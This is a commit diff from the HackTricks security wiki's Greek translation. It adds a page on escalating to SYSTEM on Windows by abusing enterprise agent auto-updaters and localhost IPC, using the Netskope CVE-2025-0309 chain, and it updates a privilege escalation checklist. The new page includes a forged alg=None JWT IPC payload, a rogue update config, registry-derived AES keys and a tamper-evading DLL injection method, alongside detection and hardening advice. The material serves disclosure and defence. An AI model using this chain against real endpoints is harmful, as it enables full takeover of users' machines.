Translated ['src/windows-hardening/windows-local-privilege-escalation/RE

This commit is contained in:
Translator 2025-09-03 14:49:56 +00:00
parent 9aa7ddb138
commit a1dfc36d73
4 changed files with 542 additions and 408 deletions

View File

@ -236,6 +236,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)

View File

@ -1,113 +1,114 @@
# Λίστα Ελέγχου - Τοπική Ανύψωση Δικαιωμάτων Windows
# Checklist - Local Windows Privilege Esccalation
{{#include ../banners/hacktricks-training.md}}
### **Καλύτερο εργαλείο για αναζήτηση τοπικών διαδρομών ανύψωσης δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Καλύτερο εργαλείο για την αναζήτηση Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Πληροφορίες Συστήματος](windows-local-privilege-escalation/index.html#system-info)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] Αποκτήστε [**Πληροφορίες συστήματος**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Αναζητήστε **exploits πυρήνα** [**χρησιμοποιώντας scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Χρησιμοποιήστε **Google για αναζήτηση** exploits πυρήνα
- [ ] Χρησιμοποιήστε **searchsploit για αναζήτηση** exploits πυρήνα
- [ ] Ενδιαφέρουσες πληροφορίες σε [**env vars**](windows-local-privilege-escalation/index.html#environment);
- [ ] Κωδικοί πρόσβασης στην [**ιστορία PowerShell**](windows-local-privilege-escalation/index.html#powershell-history);
- [ ] Ενδιαφέρουσες πληροφορίες στις [**Ρυθμίσεις Διαδικτύου**](windows-local-privilege-escalation/index.html#internet-settings);
- [ ] [**Δίσκοι**](windows-local-privilege-escalation/index.html#drives);
- [ ] [**Exploits WSUS**](windows-local-privilege-escalation/index.html#wsus);
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated);
- [ ] Λάβετε [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Αναζητήστε **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Χρησιμοποιήστε **Google to search** για kernel **exploits**
- [ ] Χρησιμοποιήστε **searchsploit to search** για kernel **exploits**
- [ ] Ενδιαφέροντα στοιχεία στα [**env vars**](windows-local-privilege-escalation/index.html#environment)?
- [ ] Κωδικοί στο [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
- [ ] Ενδιαφέροντα στοιχεία στις [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
### [Καταγραφή/Αναγνώριση AV](windows-local-privilege-escalation/index.html#enumeration)
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Ελέγξτε τις ρυθμίσεις [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) και [**WEF**](windows-local-privilege-escalation/index.html#wef)
- [ ] Ελέγξτε το [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Ελέγξτε αν είναι ενεργό το [**WDigest**](windows-local-privilege-escalation/index.html#wdigest)
- [ ] [**Προστασία LSA**](windows-local-privilege-escalation/index.html#lsa-protection);
- [ ] Ελέγξτε τις ρυθμίσεις [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)και [**WEF** ](windows-local-privilege-escalation/index.html#wef)
- [ ] Ελέγξτε [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Ελέγξτε αν [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)είναι ενεργό
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials);
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Ελέγξτε αν υπάρχει κάποιο [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**Πολιτική AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy);
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**Δικαιώματα Χρήστη**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Ελέγξτε τα [**τρέχοντα**] δικαιώματα **χρήστη**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Είστε [**μέλος κάποιας προνομιούχας ομάδας**](windows-local-privilege-escalation/index.html#privileged-groups);
- [ ] Ελέγξτε αν έχετε [κάποια από αυτά τα tokens ενεργοποιημένα](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege**;
- [ ] [**Συνεδρίες Χρηστών**](windows-local-privilege-escalation/index.html#logged-users-sessions);
- [ ] Ελέγξτε [**τα σπίτια χρηστών**](windows-local-privilege-escalation/index.html#home-folders) (πρόσβαση;)
- [ ] Ελέγξτε την [**Πολιτική Κωδικών Πρόσβασης**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Τι υπάρχει [**μέσα στο Πρόχειρο**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard);
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Ελέγξτε τα [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Είστε [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Ελέγξτε αν έχετε [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Ελέγξτε [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (πρόσβαση?)
- [ ] Ελέγξτε την [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Τι υπάρχει [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Δίκτυο](windows-local-privilege-escalation/index.html#network)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Ελέγξτε τις **τρέχουσες** [**πληροφορίες δικτύου**](windows-local-privilege-escalation/index.html#network)
- [ ] Ελέγξτε τις **κρυφές τοπικές υπηρεσίες** που περιορίζονται από το εξωτερικό
- [ ] Ελέγξτε τις **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] Ελέγξτε **hidden local services** περιορισμένες προς το εξωτερικό
### [Διεργασίες σε Εκτέλεση](windows-local-privilege-escalation/index.html#running-processes)
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Δικαιώματα [**αρχείων και φακέλων διεργασιών**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Εξόρυξη Κωδικών Πρόσβασης Μνήμης**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Ανασφαλείς GUI εφαρμογές**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Κλέψτε διαπιστευτήρια με **ενδιαφέρουσες διεργασίες** μέσω `ProcDump.exe` ? (firefox, chrome, κ.λπ ...)
- [ ] Δικαιώματα αρχείων των binaries των processes [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Κλέψτε διαπιστευτήρια με **ενδιαφέρουσες διεργασίες** μέσω `ProcDump.exe` ? (firefox, chrome, etc ...)
### [Υπηρεσίες](windows-local-privilege-escalation/index.html#services)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] [Μπορείτε να **τροποποιήσετε κάποια υπηρεσία**;](windows-local-privilege-escalation/index.html#permissions)
- [ ] [Μπορείτε να **τροποποιήσετε** το **δυαδικό** που **εκτελείται** από κάποια **υπηρεσία**;](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [Μπορείτε να **τροποποιήσετε** το **μητρώο** οποιασδήποτε **υπηρεσίας**;](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [Μπορείτε να εκμεταλλευτείτε οποιαδήποτε **μη αναφερόμενη υπηρεσία** δυαδική **διαδρομή**;](windows-local-privilege-escalation/index.html#unquoted-service-paths)
- [ ] Μπορείτε να **modify any service**? (μπορείτε να τροποποιήσετε κάποια υπηρεσία;)
- [ ] Μπορείτε να **modify** το **binary** που **εκτελείται** από κάποια **service**? (modify the binary path)
- [ ] Μπορείτε να **modify** το **registry** κάποιας **service**? (services-registry-modify-permissions)
- [ ] Μπορείτε να εκμεταλλευτείτε κάποιο **unquoted service** binary **path**?
### [**Εφαρμογές**](windows-local-privilege-escalation/index.html#applications)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] **Γράψτε** [**δικαιώματα σε εγκατεστημένες εφαρμογές**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Εφαρμογές Εκκίνησης**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Ευάλωτοι** [**Οδηγοί**](windows-local-privilege-escalation/index.html#drivers)
- [ ] **Εγγραφή** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] Μπορείτε να **γράψετε σε οποιονδήποτε φάκελο μέσα στο PATH**;
- [ ] Υπάρχει κάποια γνωστή δυαδική υπηρεσία που **προσπαθεί να φορτώσει οποιαδήποτε ανύπαρκτη DLL**;
- [ ] Μπορείτε να **γράψετε** σε οποιονδήποτε **φάκελο δυαδικών**;
- [ ] Μπορείτε να **write in any folder inside PATH**?
- [ ] Υπάρχει κάποιο γνωστό service binary που **tries to load any non-existant DLL**?
- [ ] Μπορείτε να **write** σε κάποιο **binaries folder**?
### [Δίκτυο](windows-local-privilege-escalation/index.html#network)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Αναγνωρίστε το δίκτυο (κοινές χρήσεις, διεπαφές, διαδρομές, γείτονες, ...)
- [ ] Δώστε προσοχή στις υπηρεσίες δικτύου που ακούνε στο localhost (127.0.0.1)
- [ ] Απογράψτε το δίκτυο (shares, interfaces, routes, neighbours, ...)
- [ ] Δώστε ιδιαίτερη προσοχή σε network services που ακούνε στο localhost (127.0.0.1)
### [Διαπιστευτήρια Windows](windows-local-privilege-escalation/index.html#windows-credentials)
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Διαπιστευτήρια Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
- [ ] [**Διαπιστευτήρια Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) που θα μπορούσατε να χρησιμοποιήσετε;
- [ ] Ενδιαφέροντα [**DPAPI διαπιστευτήρια**](windows-local-privilege-escalation/index.html#dpapi);
- [ ] Κωδικοί πρόσβασης αποθηκευμένων [**Wifi δικτύων**](windows-local-privilege-escalation/index.html#wifi);
- [ ] Ενδιαφέρουσες πληροφορίες σε [**αποθηκευμένες RDP Συνδέσεις**](windows-local-privilege-escalation/index.html#saved-rdp-connections);
- [ ] Κωδικοί πρόσβασης σε [**πρόσφατα εκτελούμενες εντολές**](windows-local-privilege-escalation/index.html#recently-run-commands);
- [ ] [**Διαπιστευτήρια Διαχειριστή Απομακρυσμένης Επιφάνειας Εργασίας**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) κωδικοί πρόσβασης;
- [ ] [**AppCmd.exe** υπάρχει](windows-local-privilege-escalation/index.html#appcmd-exe); Διαπιστευτήρια;
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm); DLL Side Loading;
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials που θα μπορούσατε να χρησιμοποιήσετε?
- [ ] Ενδιαφέροντα [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Κωδικοί αποθηκευμένων [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] Ενδιαφέροντα στοιχεία σε [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] Κωδικοί σε [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) κωδικοί?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [Αρχεία και Μητρώο (Διαπιστευτήρια)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **και** [**κλειδιά SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**Κλειδιά SSH στο μητρώο**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry);
- [ ] Κωδικοί πρόσβασης σε [**unattended αρχεία**](windows-local-privilege-escalation/index.html#unattended-files);
- [ ] Οποιοδήποτε [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) αντίγραφο;
- [ ] [**Διαπιστευτήρια Cloud**](windows-local-privilege-escalation/index.html#cloud-credentials);
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) αρχείο;
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword);
- [ ] Κωδικός πρόσβασης στο [**IIS Web config αρχείο**](windows-local-privilege-escalation/index.html#iis-web-config);
- [ ] Ενδιαφέρουσες πληροφορίες σε [**web** **logs**](windows-local-privilege-escalation/index.html#logs);
- [ ] Θέλετε να [**ζητήσετε διαπιστευτήρια**](windows-local-privilege-escalation/index.html#ask-for-credentials) από τον χρήστη;
- [ ] Ενδιαφέροντα [**αρχεία μέσα στον Κάδο Ανακύκλωσης**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin);
- [ ] Άλλο [**μητρώο που περιέχει διαπιστευτήρια**](windows-local-privilege-escalation/index.html#inside-the-registry);
- [ ] Μέσα σε [**Δεδομένα Περιηγητή**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, ιστορικό, σελιδοδείκτες, ...) ;
- [ ] [**Γενική αναζήτηση κωδικών πρόσβασης**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) σε αρχεία και μητρώο
- [ ] [**Εργαλεία**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) για αυτόματη αναζήτηση κωδικών πρόσβασης
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] Κωδικοί σε [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] Κάποιο backup των [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) αρχείο?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] Κωδικός στο [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] Ενδιαφέροντα στοιχεία σε [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
- [ ] Θέλετε να [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) από τον χρήστη;
- [ ] Ενδιαφέροντα [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Άλλο [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] Μέσα σε [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) σε αρχεία και registry
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) για αυτόματη αναζήτηση κωδικών
### [Διαρροές Χειριστών](windows-local-privilege-escalation/index.html#leaked-handlers)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] Έχετε πρόσβαση σε οποιονδήποτε χειριστή διεργασίας που εκτελείται από διαχειριστή;
- [ ] Έχετε πρόσβαση σε κάποιο handler διαδικασίας που τρέχει από administrator?
### [Αυτοπροσωποποίηση Πελάτη Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] Ελέγξτε αν μπορείτε να το εκμεταλλευτείτε

View File

@ -0,0 +1,123 @@
# Κατάχρηση Enterprise Auto-Updaters και Privileged IPC (e.g., Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
Αυτή η σελίδα γενικεύει μια κλάση Windows local privilege escalation chains που βρέθηκαν σε enterprise endpoint agents και updaters που εκθέτουν μια lowfriction IPC surface και μια privileged update flow. Ένα αντιπροσωπευτικό παράδειγμα είναι Netskope Client for Windows < R129 (CVE-2025-0309), όπου ένας χρήστης με χαμηλά προνόμια μπορεί να εξαναγκάσει enrollment σε έναν attackercontrolled server και στη συνέχεια να παραδώσει ένα κακόβουλο MSI που εγκαθιστά η υπηρεσία SYSTEM.
Key ideas you can reuse against similar products:
- Abuse a privileged services localhost IPC to force reenrollment or reconfiguration to an attacker server.
- Implement the vendors update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
- Evade weak signer checks (CN allowlists), optional digest flags, and lax MSI properties.
- If IPC is “encrypted”, derive the key/IV from worldreadable machine identifiers stored in the registry.
- If the service restricts callers by image path/process name, inject into an allowlisted process or spawn one suspended and bootstrap your DLL via a minimal threadcontext patch.
---
## 1) Forcing enrollment to an attacker server via localhost IPC
Many agents ship a usermode UI process that talks to a SYSTEM service over localhost TCP using JSON.
Observed in Netskope:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
```json
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
```
3) Η υπηρεσία αρχίζει να επικοινωνεί με τον rogue server σας για enrollment/config, π.χ.:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Σημειώσεις:
- Εάν η caller verification είναι path/namebased, προετοιμάστε το αίτημα ώστε να προέρχεται από ένα allowlisted vendor binary (βλ. §4).
---
## 2) Hijacking the update channel to run code as SYSTEM
Μόλις ο client επικοινωνήσει με τον server σας, υλοποιήστε τα αναμενόμενα endpoints και κατευθύνετέ το σε ένα attacker MSI. Τυπική ακολουθία:
1) /v2/config/org/clientconfig → Επιστρέψτε JSON config με πολύ μικρό updater interval, π.χ.:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
Παράκαμψη κοινών ελέγχων που συναντώνται στο wild:
- Signer CN allowlist: η υπηρεσία μπορεί να ελέγχει μόνο αν το Subject CN ισούται με “netSkope Inc” ή “Netskope, Inc.”. Το rogue CA σας μπορεί να εκδώσει ένα leaf με αυτό το CN και να υπογράψει το MSI.
- CERT_DIGEST property: συμπεριλάβετε ένα benign MSI property με όνομα CERT_DIGEST. Δεν εφαρμόζεται έλεγχος κατά την εγκατάσταση.
- Optional digest enforcement: flag στο config (π.χ., check_msi_digest=false) απενεργοποιεί την επιπλέον κρυπτογραφική επαλήθευση.
Αποτέλεσμα: η SYSTEM service εγκαθιστά το MSI σας από
C:\ProgramData\Netskope\stAgent\data\*.msi
εκτελώντας arbitrary code ως NT AUTHORITY\SYSTEM.
---
## 3) Forging encrypted IPC requests (when present)
Από R127, η Netskope τύλιξε το IPC JSON σε ένα πεδίο encryptData που μοιάζει με Base64. Αντίστροφη μηχανική έδειξε AES με key/IV που παράγονται από registry τιμές αναγνώσιμες από οποιονδήποτε χρήστη:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Οι attackers μπορούν να αναπαράγουν την κρυπτογράφηση και να στείλουν έγκυρες encrypted εντολές από έναν standard user. Γενική συμβουλή: αν ένας agent ξαφνικά “κρυπτογραφεί” το IPC του, ψάξτε για device IDs, product GUIDs, install IDs κάτω από HKLM ως υλικό για κλειδιά.
---
## 4) Bypassing IPC caller allowlists (path/name checks)
Κάποιες υπηρεσίες προσπαθούν να αυθεντικοποιήσουν τον peer επιλύοντας το PID της TCP σύνδεσης και συγκρίνοντας το image path/name με allowlisted vendor binaries που βρίσκονται κάτω από Program Files (π.χ., stagentui.exe, bwansvc.exe, epdlp.exe).
Δύο πρακτικές παρακάμψεις:
- DLL injection σε ένα allowlisted process (π.χ., nsdiag.exe) και proxy IPC από μέσα του.
- Spawn ενός allowlisted binary suspended και bootstrap της proxy DLL σας χωρίς CreateRemoteThread (βλ. §5) για να ικανοποιηθούν οι κανόνες tamper που εφαρμόζει ο driver.
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
Προϊόντα συχνά συνοδεύονται από έναν minifilter/OB callbacks driver (π.χ., Stadrv) που αφαιρεί επικίνδυνα δικαιώματα από handles προς protected processes:
- Process: αφαιρεί PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: περιορίζει σε THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Ένας αξιόπιστος usermode loader που σέβεται αυτούς τους περιορισμούς:
1) CreateProcess ενός vendor binary με CREATE_SUSPENDED.
2) Αποκτήστε τα handles που εξακολουθείτε να έχετε δικαίωμα: PROCESS_VM_WRITE | PROCESS_VM_OPERATION για τη διαδικασία, και ένα thread handle με THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ή απλώς THREAD_RESUME αν κάνετε patch κώδικα σε γνωστό RIP).
3) Overwrite ntdll!NtContinue (ή άλλο αρχικό, εγγυημένα mapped thunk) με ένα μικρό stub που καλεί LoadLibraryW στο path της DLL σας, και μετά κάνει jump πίσω.
4) ResumeThread για να ενεργοποιηθεί το stub inprocess, φορτώνοντας την DLL σας.
Επειδή δεν χρησιμοποιήσατε ποτέ PROCESS_CREATE_THREAD ή PROCESS_SUSPEND_RESUME σε μια ήδηprotected process (εσείς τη δημιουργήσατε), η πολιτική του driver ικανοποιείται.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) αυτοματοποιεί ένα rogue CA, malicious MSI signing, και εξυπηρετεί τα απαραίτητα endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope είναι ένας custom IPC client που κατασκευάζει arbitrary (optionally AESencrypted) IPC messages και περιλαμβάνει το suspendedprocess injection για να προέρχονται από ένα allowlisted binary.
---
## 7) Detection opportunities (blue team)
- Monitor προσθήκες στο Local Machine Trusted Root. Sysmon + registrymod eventing (βλ. SpecterOps guidance) δουλεύει καλά.
- Flag εκτελέσεις MSI που ξεκινούνται από την agents service από μονοπάτια όπως C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Ελέγξτε τα logs του agent για μη αναμενόμενα enrollment hosts/tenants, π.χ.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log ψάξτε για addonUrl / tenant anomalies και provisioning msg 148.
- Alert για localhost IPC clients που δεν είναι τα αναμενόμενα signed binaries, ή που προέρχονται από ασυνήθιστα child process trees.
---
## Hardening tips for vendors
- Bind enrollment/update hosts σε ένα αυστηρό allowlist· reject untrusted domains στο clientcode.
- Authenticate IPC peers με OS primitives (ALPC security, namedpipe SIDs) αντί για ελέγχους image path/name.
- Κρατήστε secret material εκτός worldreadable HKLM; αν το IPC πρέπει να είναι encrypted, παράξτε keys από protected secrets ή διαπραγματευτείτε μέσω authenticated channels.
- Θεωρήστε τον updater ως surface της supplychain: απαιτήστε πλήρη chain σε ένα trusted CA που ελέγχετε, verify package signatures έναντι pinned keys, και fail closed αν η επικύρωση είναι απενεργοποιημένη στο config.
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [NachoVPN Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
- [UpSkope Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
- [NVD CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
{{#include ../../banners/hacktricks-training.md}}